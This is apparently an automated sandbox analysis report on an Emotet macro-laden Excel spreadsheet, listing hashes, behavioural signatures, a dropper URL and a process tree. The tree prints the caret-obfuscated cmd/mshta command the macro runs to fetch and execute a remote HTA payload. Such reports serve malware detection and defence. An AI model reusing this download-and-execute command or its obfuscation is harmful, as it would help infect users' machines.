Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    152s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 01:16

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General

  • Target

    45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086.xlsm

  • Size

    115KB

  • MD5

    d06323156f9db5ba51e46d368bb05b67

  • SHA1

    d3dd5b0885b0a78ff0fbd02acbb95ad7f948fef8

  • SHA256

    45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086

  • SHA512

    8de223a9301b905b5839d021a205c78f96b25140bac40e874a6d60b42e55d5cc20e11ce0b9f89b5bcab3515f366a747f2c9dd6c5d806116df11f84010d7c7dec

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2648
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1972
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1076
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:2736
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 2736 -s 1652
            4⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3640

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/2648-115-0x00007FF879910000-0x00007FF879920000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2648-116-0x00007FF879910000-0x00007FF879920000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2648-117-0x00007FF879910000-0x00007FF879920000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2648-118-0x00007FF879910000-0x00007FF879920000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2648-121-0x00007FF879910000-0x00007FF879920000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2648-128-0x00007FF8760E0000-0x00007FF8760F0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2648-129-0x00007FF8760E0000-0x00007FF8760F0000-memory.dmp

      Filesize

      64KB

      Download